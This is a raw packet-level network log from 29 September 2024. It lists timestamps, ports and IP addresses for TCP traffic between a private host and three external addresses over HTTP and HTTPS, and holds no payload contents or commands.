Sep 29, 2024 00:53:25.651977062 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651981115 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.651983023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651988029 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.652009964 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.652045965 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.652189970 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.652194977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.652264118 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.655729055 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.655751944 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.655841112 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.655853033 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.655946016 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.657082081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657140017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657145977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657151937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657206059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657212973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657218933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657222986 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.657232046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657238960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657243967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657284975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.657284975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.657373905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657380104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657386065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657397032 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657402992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657407999 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657413960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657419920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657426119 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657432079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657438040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657443047 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.657444000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657450914 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.657500029 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.657500029 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.657517910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.658406973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658412933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658418894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658432007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658437014 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658447981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658453941 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658459902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658467054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658472061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658477068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658483028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658523083 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.658523083 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.658538103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658579111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.658682108 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.658845901 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.658922911 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.658930063 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.658962011 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.659010887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659018040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659023046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659028053 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659041882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659048080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659060001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659066916 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.659096956 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.659096956 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.660006046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660007954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660020113 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660026073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660037994 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.660053015 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.660073996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660079956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660085917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660095930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.660109043 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.660109043 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.660114050 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.660120010 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.660160065 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.660162926 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.661124945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.661132097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.661138058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.661145926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.661150932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.661158085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.661165953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.661181927 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.661206007 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.661925077 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.661940098 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.662044048 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.662050962 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.662185907 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.662333965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.662341118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.662347078 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.662353039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.662358046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.662363052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.662369967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.662498951 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.662498951 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.663470030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663598061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663606882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663645029 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.663666964 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.663688898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663695097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663700104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663708925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663714886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663721085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663727045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.663727045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663734913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663747072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663752079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663754940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.663758993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.663783073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.663796902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.664477110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664520025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664525032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664527893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.664552927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664556980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.664560080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664566994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664573908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664578915 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664611101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.664783955 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664789915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664794922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664840937 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.664921999 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664927006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664938927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664944887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.664951086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665013075 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.665013075 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.665199995 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.665216923 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.665267944 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.665276051 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.665326118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665378094 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.665383101 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.665441036 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665446997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665452957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665463924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665468931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665474892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665479898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665512085 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.665528059 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.665812016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665817976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665823936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665875912 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.665894032 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665956020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.665991068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.665997028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666002989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666007996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666013956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666018963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666042089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.666074991 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.666186094 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.666224003 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.666253090 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.666266918 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.666279078 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.666302919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666315079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666315079 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.666320086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666325092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666330099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.666387081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.666387081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667292118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667366028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667371988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667376995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667382002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667397976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667427063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667442083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667505026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667510986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667515993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667527914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667532921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667538881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667543888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667550087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667555094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667560101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667561054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667568922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667574883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667599916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667601109 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667654991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667660952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667665958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667675972 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667736053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667736053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667752981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667758942 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667764902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667772055 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.667787075 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.667820930 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667825937 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.667833090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667839050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667845964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667869091 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667890072 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667892933 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.667898893 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.667900085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667907000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667907953 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667913914 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667918921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667924881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667932034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667944908 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.667948961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667953968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667958975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667963028 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667965889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.667982101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.667982101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.668005943 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.668025970 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.668241978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.668243885 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.668247938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.668261051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.668266058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.668272018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.668277025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.668282032 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.668283939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.668306112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.668306112 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.668311119 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.668337107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.668340921 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.668385983 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.669159889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669265032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669270992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669276953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669286966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669300079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669305086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669315100 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.669325113 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669331074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669329882 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.669339895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669346094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669352055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669357061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669364929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.669368982 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.669378042 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.669421911 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.669553041 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.669632912 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.669637918 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.669719934 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.670119047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670125008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670130014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670183897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.670241117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670247078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670252085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670262098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670267105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.670298100 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.670314074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.670536995 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.670552969 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.670600891 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.670607090 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.670634031 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.671518087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671524048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671530008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671566010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671571970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671577930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671582937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671587944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.671605110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.671605110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.671632051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.671633959 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.672168970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672221899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.672256947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672271013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672277927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672283888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672290087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.672297001 CEST	80	49710	103.130.147.211	192.168.2.9
